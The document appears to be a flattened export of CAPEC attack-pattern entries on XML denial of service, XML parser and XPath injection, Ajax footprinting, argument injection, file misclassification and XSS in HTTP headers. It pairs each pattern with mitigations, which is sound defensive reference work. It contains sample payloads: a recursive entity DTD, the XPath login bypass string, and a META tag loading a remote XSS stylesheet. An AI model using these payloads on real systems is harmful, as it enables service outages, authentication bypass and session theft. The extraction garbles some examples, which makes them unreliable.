XML Security", Frank Coyle - http://www.awprofessional.com/articles/article.asp?p=601349&seqNum=5&rl=1 Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Eric Dalci Cigital, Inc. 2007-03-25 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise

XML Denial of Service (XDoS) can be applied to any technology that utilizes XML data. This is, of course, most distributed systems technology including Java, .Net, databases, and so on. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. There are three primary attack vectors that XDoS can navigate Target CPU through recursion: attacker creates a recursive payload and sends to service provider Target memory through jumbo payloads: service provider uses DOM to parse XML. DOM creates in memory representation of XML document, but when document is very large (for example, north of 1 Gb) service provider host may exhaust memory trying to build memory objects. XML Ping of death: attack service provider with numerous small files that clog the system. All of the above attacks exploit the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.

Attacker must be able to send a malicious XML payload to host, such as SOAP or REST web service. Very High High Injection Several commercial XML parsers were found to be vulnerable to XDoS through XML recursion attacks. The code fragment below is self-referencing and can result in the parser exhausting all CPU and/or memory available to it. <!DOCTYPE evildoc [ <!ENTITY x0 hello XDoS"> <!ENTITY xevilparam &x99;&x99;"> ]> <foobar>&xevilparam;</foobar> By the time the service provider validatesthe DTD elements it is too late, because the validation routines references itself. SOAP messages are no longer allowed to accept DTDs, however there is nothing to stop developers of other applications or custom SOAP implementations from bypassing this concern. Low: Crafting malicious XML content and injecting it through standard interfaces Design: Utilize a Security Pipeline Interface (SPI) to mediate communications between service requester and service provider The SPI should be designed to throttle up and down and handle a variety of payloads. Design: Utilize clustered and fail over techniques, leverage network transports to provide availability such as HTTP load balancers Implementation: Check size of XML message before parsing Denial of Service XML-capable system interfaces Maliciously crafted XML XML inspection, parsing and validation routines Denial of Service 400 Targeted 674 Targeted Exploitation Low Medium High Client-Server SOA All All All Gunnar Peterson 2007-02-28 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback

Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an attacker to inject data that may have an adverse effect on the XML parser when it is being processed. These adverse effects may include the parser crashing, consuming too much of a resource, executing too slowly, executing code supplied by an attacker, allowing usage of unintenteded system functionality, etc. An attacker's goal is to leverage parser failure to his or her advantage. In some cases it may be possible to jump from the data plane to the control plane via bad data being passed to an XML parser [1].

An attacker determines the input data stream that is being processed by an XML parser on the server side. An attacker crafts input data that may have an adverse effect on the operation of the XML parser when the data is parsed on the server. An application uses an XML parser to perform transformation on user-controllable data. An application does not perform sufficient validation to ensure that user-controllable data is safe for an XML parser. Medium Medium Injection API Abuse "PHPXMLRPC aka XML-RPC For PHP is a PHP implementation of the XML-RPC web RPC protocol, and was originally developed by Edd Dumbill of Useful Information Company. As of the 1.0 stable release, the project has been opened to wider involvement and moved to SourceForge. PHPXMLRPC is used in a large number of popular web applications such as PostNuke, Drupal, b2evolution, and TikiWiki. Unfortunately PHPXMLRPC is vulnerable to a remote php code execution vulnerability that may be exploited by an attacker to compromise a vulnerable system. Remote Command Execution: PHPXMLRPC is vulnerable to a very high risk remote php code execution vulnerability that may allow for an attacker to compromise a vulnerable webserver. The vulnerability is the result of unsanatized data being passed directly into an eval() call in the parseRequest() function of the XMLRPC server. By creating an XML file that uses single quotes to escape into the eval() call an attacker can easily execute php code on the target server. This has a lot to do with the fact that magic_quotes_gpc() does not apply to $HTTP_RAW_POST_DATA so using single quotes is not a problem" [2]. Reference: GulfTech Security Research"PHPXMLRPC Remote Code Execution", SecurePoint - BugTraq Archive: "http://msgs.securepoint.com/bugtraq" CVE-2005-2498 Low - Denial of service (making the parser crash) High - Arbitrary code execution Bad data is continuously passed to the XML parser, possibly making it crash. Carefully validate and sanitize all user-controllable data prior to passing it to the XML parser routine. Ensure that the resultant data is safe to pass to the XML parser. Perform validation on canonical data. Pick a robust implementation of an XML parser. Validate XML against a valid schema or DTD prior to parsing. Denial of Service Information Leakage Run Arbitrary Code Privilege Escalation Application XML-compliant interface User-controllable XML code The XML parser code. 112 Targeted 20 Targeted 19 Targeted 674 Targeted Penetration Exploitation Medium High High Client-Server SOA All All All 1. Shlomo, Yona: "http://yeda.cs.technion.ac.il/~yona/talks/xml_parser_attacks/slides/slide2.html" 2. GulfTech Security Research"PHPXMLRPC Remote Code Execution", SecurePoint - BugTraq Archive: "http://msgs.securepoint.com/bugtraq" Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Evgeny Lebanidze Cigital, Inc., 2007-03-21 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise

An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that he normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results form the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database. In order to successfully inject XML and retrieve information from a database, an attacker:

Determines the user-controllable input that is used without proper validation as part of XPath queries Determines the structure of queries that accept such input Crafts malicious content containing XPath expressions that is not validated by the application and is executed as part of the XPath queries. XPath queries used to retrieve information stored in XML documents User-controllable input not properly sanitized before being used as part of XPath queries High High Injection Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass. Low - XPath Injection shares the same basic premises with SQL Injection. An attacker must have knowledge of XPath synax and constructs in order to successfully leverage XPath Injection None The attacker tries to inject characters that can cause an XPath error, such as single-quote ('), or content that may cause a malformed XPath expression. If the injection of such content into the input causes an XPath error and the resulting error is displayed unfiltered, the attacker can begin to determine the nature of input validation and structure of XPath expressions used in queries. Too many exceptions generated by the appplication as a result of malformed XPath queries Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as content that can be interpreted in the context of an XPath expression. Characters such as a single-quote(') or operators such as or (|), and (&) and such should be filtered if the application does not expect them in the context in which they appear. If such content cannot be filtered, it must at least be properly escaped to avoid them being interpreted as part of XPath expressions. Use of parameterized XPath queries - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails. Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application. Privilege Escalation Information Leakage john abracadabra /home/john cbc 1mgr8 /home/cbc The Java code used to retrieve the home directory based on the provided credentials is: XPath xpath = XPathFactory.newInstance().newXPath(); XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" + login.getPassword() + "']/home_dir/text()"); Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml")); String homedir = xlogin.evaluate(d); Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes //users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text() which, of course, lets user "john" login without a valid password, thus bypassing authentication. This situation occurred due to the use of improperly filtered input and the use of dynamic XPath query. Parameterizng the XPath query provides a second line of defense, should input validation fail. The approach to parameterizing the query in Java is to use a resolver to resolve the bound parameters: public class LoginResolver implements XPathVariableResolver { Login login = null; public Object resolveVariable(QName variableName) { if (variableName == null) throw new NullPointerException("The variable name cannot be null"); if (variableName.equals(new QName("username"))) return new String(this.login.getUserName()); else if (variableName.equals(new QName("password"))) return new String(this.login.getPassword()); else return null; } public LoginResolver(Login login){ this.login = login; } } The corresponding XPath expression and query are: xpath.setXPathVariableResolver(new LoginResolver(login)); XPathExpression xlogin = xpath.compile("//users/user[login/text()=$username and password/text() = $password]/home_dir/text()"); Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml")); String homedir = xlogin.evaluate(d); A similar attack pattern that seeks to extract information, including the XML document structure, is known as Blind XPath Injection and is based on the lack of proper input validation and non-parameterized XPath queries. The difference lies in the fact that bypassing authentication does not require knowledge of the rest of the document and the corresponding query can be quite easily discerned. With Blind XPath Injection, the attacker asks the database a number of Boolean questions by formulating appropriate XPath expressions.]]> User-controllable input used as part of dynamic XPath queries XPath expressions intended to defeat checks run by XPath queries XML database The impact of payload activation is that it is interpreted as part of the XPath expression used in the query, thus enabling an attacker to modify the expression used by the query. 91 Targeted 74 Secondary 20 Secondary 390 Secondary 713 Targeted 707 Targeted Special characters in user-controllable input must be escaped before use by the application. Only use parameterized XPath expressions to query the XML database. Custom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database. Reluctance to Trust Failing Securely Defense in Depth Never Use Input as Part of a Directive to any Internal Component Handle All Errors Safely Penetration Exploitation High High Medium Client-Server SOA All All All CWE - XML Injection CWE - Input Validation CWE - Improper Error Handling Chiradeep B Chhaya 2007-01-30 Second Draft Malik Hamro Cigital, Inc 2007-02-27 Reformat to new schema and review Sean Barnum Cigital, Inc 2007-03-05 Review and revise

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. In many XSS attacks the attacker must get a "hole in one" and successfully exploit the vulnerability on the victim side the first time, once the client is redirected the attacker has many chances to engage in follow on probes, but their is only one first chance. In a widely used web application this is not a major problem because 1 in a 1,000 is good enough in a widely used application. A common first step for an attacker is to footprint the environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well known ports, network locations and so on.

The user must allow Javscript to execute in their browser Very High High Protocol Manipulation Injection Brute Force Footprinting can be executed over almost any protocol including HTTP, TCP, UDP, and ICMP, with the general goal of gaining further information about a host environment to launch further attacks. By appending a malicious script to an otherwise normal looking URL, the attacker can probe the sysem for banners, vulnerabilities, filenames, available services, and in short anything the host process has access to. The results of the probe are either used to execute additional javascript (for example, if the attacker's footprint script identifies a vulnerability in a firewall permission, then the client side script executes a javascript to change client firewall settings, or an attacker may simply echo the results of the scan back out to a remote host for targeting future attacks). Medium: to land and launch a script on victim's machine with appropriate footprinting logic for enumerating services and vulnerabilities in Javascript Design: Use browser technologies that do not allow client side scripting. Design: Utilize strict type, character, and encoding enforcement Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification. Implementation: Perform input validation for all remote content. Implementation: Perform output validation for all remote content. Implementation: Disable scripting languages such as Javascript in browser Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this. Information Leakage Payload delivered through standard communication protocols, such as Ajax application. Command(s) executed directly on host Client machine and client network Enables attacker to execute probes against client system. 79 Targeted 113 Targeted 348 Targeted 96 Targeted 20 Targeted 116 Targeted 184 Secondary 86 Secondary 712 Targeted 692 Targeted Reconnaissance High Low Low Client-Server SOA All All AJAX Shreeraj Shah, "Ajax footprinting for Web 2.0 applications", http://www.net-security.org/dl/articles/Ajax_fingerprinting.pdf Gunnar Peterson 2007-02-28 Sean Barnum Cigital, Inc 2007-03-07 Review and revise

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

Discovery of potential injection vectors Using an automated tool or manual discovery, the attacker identifies services or methods with arguments that could potentially be used as injection vectors (OS, API, SQL procedures, etc.). Manually cover the application and record the possible places where arguments could be passed into external systems. env-All Use a spider, for web applications, to create a list of URLs and associated inputs. env-All Arguments are used by the application in exposed services or methods env-All No parameters appear to be used. env-All Application does not use any inputs. env-All A list of parameters, arguments to modify is identified. A list of URLs, with their corresponding parameters (POST, GET, COOKIE, etc.) is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. 1. Attempt variations on argument content Possibly using an automated tool, the attacker will perform injection variations of the arguments. Use a very large list of probe strings in order to detect if there is a positive result, and, what type of system has been targeted (if obscure). env-All Use a proxy tool to record results, error messages and/or log if accessible. env-All The application behaves like the injection has been a success. env-All No result appears. env-All It is possible to monitor the application and to see that the argument has been validated. Actively monitor malicious inputs. Monitor the services and/or methods uses of the arguments. Abuse of the application The attacker injects specific syntax into a particular argument in order to generate a specific malicious effect in the targeted application. Manually inject specific payload into targeted argument. env-All The attacker observes desired effect. Actively monitor malicious inputs. Monitor the services and/or methods uses of the arguments. Target software fails to strip all user-supplied input of any content that could cause the shell to perform unexpected actions. Software must allow for unvalidated or unfiltered input to be executed on operating system shell, and, optionally, the system configuration must allow for output to be sent back to client. High High Injection A recent example instance of argument injection occurred against Java Web Start technology, which eases the client side deployment for Java programs. The JNLP files that are used to describe the properties for the program. The client side Java runtime used the arguments in the property setting to define execution parameters, but if the attacker appends commands to an otherwise legitimate property file, then these commands are sent to the client command shell. Source http://www.securityfocus.com/archive/1/393696 Medium: The attacker has to identify injection vector, identify the operating system-specific commands, and optionally collect the output. Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP. Design: Do not program input values directly on command shell, instead treat user input as guilty until proven innocent. Build a function that takes user input and converts it to applications specific types and values, stripping or filtering out all unauthorized commands and characters in the process. Design: Limit program privileges, so if metacharcters or other methods circumvent program input validation routines and shell access is attained then it is not running under a privileged account. chroot jails create a sandbox for the application to execute in, making it more difficult for an attacker to elevate privilege even in the case that a compromise has occurred. Implementation: Implement an audit log that is written to a separate host, in the event of a compromise the audit log may be able to provide evidence and details of the compromise. Privilege Escalation Data Modification Information Leakage "Attack Pattern: Argument Injection "User input is directly pasted into the argument of a shell command. A number of third-party programs allow passthrough to a shell with little or no filtering." [Hoglund and McGraw 04] Malicious input delivered through standard input, the attacker inserts additional arguments on the application's standard interface Varies with instantiation of attack pattern. Malicious payload either pass commands through valid paramters or supply metacharacters that cause unexpected termination that redirects to shell Client machine and client network (e..g Intranet) Enables attacker to execute server side code with any commands that the program owner has privileges to, this is particularly problematic when the sprogram is run as a system or privileged account. 77 Targeted 146 Targeted 184 Targeted 78 Targeted 185 Targeted 713 Targeted 697 Targeted Never Use Input as Part of a Directive to any Internal Component Penetration Low High Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Attack Prerequisites and Related Guidelines Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

An attack of this type exploits a Web server's decision to take action based on filename or file extension. Because different file types are handled by different server processes, misclassification may force the Web server to take unexpected action, or expected actions in an unexpected sequence. This may cause the server to exhaust resources, supply debug or system data to the attacker, or bind an attacker to a remote process. This type of vulnerability has been found in many widely used servers including IIS, Lotus Domino, and Orion. The attacker's job in this case is straightforward, standard communication protocols and methods are used and are generally appended with malicious information at the tail end of an otherwise legitimate request. The attack paylod varies, but it could be special characters like a period or simply appending a tag that has a special meanning for operations on the server side like .jsp for a java application server. The essence of this attack is that the attacker deceives the server into executing functionality based on the name of the request, i.e. login.jsp, not the contents.

Footprint file input vectors Manually or using an automated tool, an attacker searches for all input locations where a user has control over the filenames or MIME types of files submitted to the web server. Attacker manually crawls application to identify file inputs env-Web Attacker uses an automated tool to crawl application identify file inputs env-Web Attacker manually assesses strength of access control protecting native application files from user control env-Web Attacker explores potential for submitting files directly to the web server via independently constructed HTTP Requests env-Web Application submits files under user control to the web server env-Web Application does not submit files under user control to the web server env-Web Application strictly protects all native application files from user control env-Web User-controllable files are identified File misclassification shotgunning An attacker makes changes to file extensions and MIME types typically processed by web servers and looks for abnormal behavior. Attacker submits files with switched extensions (e.g. .php on a .jsp file) to web server. env-Web Attacker adds extra characters (e.g. adding an extra . after the file extension) to filenames of files submitted to web server. env-Web The web server uses the wrong handler to execute the file, as expected by the attacker. env-Web No result from the web server. env-Web The web server ignore the manipulation and process the request has it should have been. env-Web Web server exhibits unexpected behavior. Monitor web server logs for excessive file processing errors Always validate that file content structure matches implicitly or explicitly declared file type as first step of processing. File misclassification sniping Understanding how certain file types are processed by web servers, an attacker crafts varying file payloads and modifies their file extension or MIME type to be that of the targeted type to see if the web server is vulnerable to misclassification of that type. Craft a malicious file payload, modify file extension to the targeted file type and submit it to the web server. env-Web Craft a malicious file payload, modify its associated MIME type to the targeted file type and submit it to the web server. env-Web The web server uses the wrong handler to execute the file, as expected by the attacker. env-Web No result from the web server. env-Web The web server ignore the manipulation and process the request has it should have been. env-Web Attacker's payload is acted on by web server. The attacker cannot get the web server to misclassify a file. Monitor web server logs for excessive file processing errors Always validate that file content structure matches implicitly or explicitly declared file type as first step of processing. Disclose information The attacker, by manipulating a file extension or MIME type is able to make the web server return raw information (not executed). Manipulate the file names that are explicitly sent to the server. env-Web Manipulate the MIME sent in order to confuse the web server. env-Web The attacker gets the information from the server Always validate that file content structure matches implicitly or explicitly declared file type as first step of processing. Web server software must rely on file name or file extension for processing. High Medium Injection Modification of Resources J2EE application servers are supposed to execute Java Server Pages (JSP). There have been disclosure issues relating to Orion Application Server, where an attacker that appends either a period (.) or space characters to the end of a legitimate Http request, then the server displays the full source code in the attacker's web browser. http://victim.site/login.jsp. Since remote data and directory access may be accessed directly from the JSP, this is a potentially very serious issue. Reference http://www.securityfocus.com/bid/17204/info Low: To modify file name or file extension Medium: To use misclassification to force the Web server to disclose configuration information, source, or binary data Ability to execute HTTP request to Web server Implementation: Server routines should be determined by content not determined by filename or file extension. Information Leakage Privilege Escalation "Attack Pattern: Cause Web Server Misclassification A very famous set of classification problems occurs when a Web server examines the last few characters of a filename to determine what kind of file it is. There are many ways to take advantage of these kinds of problems-appending certain strings to filenames, adding dots, and so forth." [Hoglund and McGraw 04] Malicious input delivered through standard Web application calls, e.g. HTTP Request. Varies with instantiation of attack pattern. Malicious payload may alter or append filename or extension to communicate with processes in unexpected order. Client machine and client network Enables attacker to force web server to disclose configuration, source, and data 69 Secondary 77 Secondary Reconnaissance High Low Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

An attack of this type exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications.

Spider Using a browser or an automated tool, an attacker follows all public links on a web site. He records all the entry points (input) that becomes part of generated HTTP header (not only GET/POST/COOKIE, but also Content-Type, etc.) Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters used in the HTTP headers. env-Web Look for HTML meta tags that could be injectable env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web Web content is generated by the application and served to the browser based on user-controllable inputs. env-Web HTTP header variables are used by the application or the browser (DOM) env-Web No HTTP variables appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of URLs, with their corresponding HTTP variables is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Probe identified potential entry points for XSS vulnerability The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. He records all the responses from the server that include unmodified versions of his script. The attacker tries also to inject extra-parameter to the HTTP request to see if they are reflected back in the web page or in the HTTP response. Manually inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed. env-Web Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed. env-Web Use a proxy tool to record results of manual input of XSS probes in known URLs. env-Web User-controllable input is embedded as part of generated HTTP headers env-Web Input parameters become part of the web page (even in meta tags) env-Web Output to the browser is not encoded to remove executable scripting syntax. env-Web Nothing is returned to the web page. It may be a stored XSS. The unique identifier from the probe helps to trace the flow of the possible XSS. env-Web The attacker's cross-site scripting string is repeated back verbatim at some point in the web site (if not on the same page). Note that sometimes, the payload might be well encoded in the page, but wouldn't be encoded at all in some other section of the same web page (title, script, etc.) All HTML-sensitive characters are consistently re-encoded before being sent to the web browser. Some sensitive characters are consistently encoded, but others are not. Monitor input to web servers (not only GET, but all in the inputs), application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard XSS probes. The majority of attackers use well known strings to check for vulnerabilities. Use the same vulnerability catalogs that hackers use. Apply appropriate input validation to filter all user-controllable input of scripting syntax Do not embed user-controllable input generated HTTP headers Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Steal session IDs, credentials, page content, etc. As the attacker succeeds in exploiting the vulnerability, he can choose to steal user's credentials in order to reuse or to analyze them later on. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker. env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately. env-Web The attacker gets the user's cookies or other session identifiers. The attacker gets the content of the page the user is viewing. The attacker causes the user's browser to visit a page with malicious content. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Forceful browsing When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not). Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities). env-Web The attacker indirectly controls the user's browser and makes it performing actions exploiting CSRF. The attacker manipulates the browser through the steps that he designed in his attack. The user, identified on a website, is now performing actions he is not aware of. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Content spoofing By manipulating the content, the attacker targets the information that the user would like to get from the website. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page. env-Web The user sees a page containing wrong information Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Target software must be a client that allows scripting communication from remote hosts, and attacker must control a remote site of some sort to redirect client and data to. Very High High Injection Modification of Resources Protocol Manipulation Utilize a remote style sheet set in the HTTP header for XSS attack. When the attacker is able to point to a remote stylesheet, any of the variables set in that stylesheet are controllable on the client side by the remote attacker. Like most XSS attacks, results vary depending on browser that is used. (source:http://ha.ckers.org/xss.html) <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> Google's 404 redirection script was found vulnerable to this attack vector. Google's 404 file not found page read * Response headers: "Content-Type: text/html; charset=[encoding]". * Response body: <META http-equiv="Content-Type" (...) charset=[encoding]/> If the response sends an unexpected encoding type such as UTF-7, then no enforcement is done on the payload and arbitrary XSS code will be transported along with the standard HTTP response. Source: http://seclists.org/fulldisclosure/2005/Dec/1107.html XSS can be used in variety of ways, because it is scripted and executes in a distribtued, asynchronous fashion it can create its own vector and openings. For example, the attacker can use XSS to mount a DDoS attack by having series of different computers unknowingly executing requests against a single host. Low: To achieve a redirection and use of less trusted source, an attacker can simply edit HTTP Headers that are sent to client machine. High: Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine Design: Use browser technologies that do not allow client side scripting. Design: Utilize strict type, character, and encoding enforcement Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from. Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification. Implementation: Perform input validation for all remote content. Implementation: Perform output validation for all remote content. Implementation: Disable scripting languages such as Javascript in browser Implementation: Session tokens for specific host Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this. Run Arbitrary Code Information Leakage Privilege Escalation "Attack Pattern: XSS in HTTP Headers The HTTP headers of a request are always available to a server for consumption. No matter the context or where data are positioned., if the data are from the client, they should clearly be untrusted. However in many cases programmers overlook header information. For some reason header information is treated as holy ground that cannot be controlled by the user. This pattern takes advantage of this oversight to inject data via a header field. [Hoglund and McGraw 04] .... Web 2.0 technologies rely heavily on mashups and other plug in technologies like multi media players which are effectively composed of content generated by other systems and are vulnerable due to the fact that an attacker may use the HTTP header information that these technologies consume and display as an attack launch pad. Beyond Web 2.0, increasingly system administration software uses web front ends, from firewall administration to application servers, to blogging software, many tools are administered through web browsers. This gives the administrator the ability to administer in a highly distributed environment, but this comes at the cost of exposing the command and control software for the system to web attacks. Additionally, because the rich functionality required these administration applications, many rely on scripting languages. So an attacker can insert HTTP links into logs, audit functionality, error logs, and message queues, then, for example, a Javascript-enabled web browser with administrator rights can be redirected to execute a wide variety of attacks, including those listed here. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack. Malicious input delivered through HTTP Headers. Varies with instantiation of attack pattern. In the case of HTTP headers they may not be visible to the end user via a browser Header processing on the server or Client browser Enables attacker to execute scripts to launch attacks on server as well as remote client machine and environment 79 Targeted 184 Secondary 348 Targeted 96 Targeted 20 Targeted 116 Targeted 86 Secondary 692 Targeted 697 Targeted 713 Targeted 71 Targeted CVE-2006-5442 Summary: ViewVC 1.0.2 and earlier does not specify a charset in its HTTP headers or HTML documents, which allows remote attackers to conduct cross-site scripting (XSS) attacks that inject arbitrary UTF-7 encoded JavaScript code via a view. CVE-2006-3918 Summary: http_protocol.c in (1) IBM HTTP Server 6.0 before 6.0.2.13 and 6.1 before 6.1.0.1, and (2) Apache HTTP Server 1.3 before 1.3.35, 2.0 before 2.0.58, and 2.2 before 2.2.2, does not sanitize the Expect header from an HTTP request when it is reflected back in an error message, which might allow cross-site scripting (XSS) style attacks using web client components that can send arbitrary headers in requests, as demonstrated using a Flash SWF file. Penetration Exploitation High High High Client-Server SOA All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

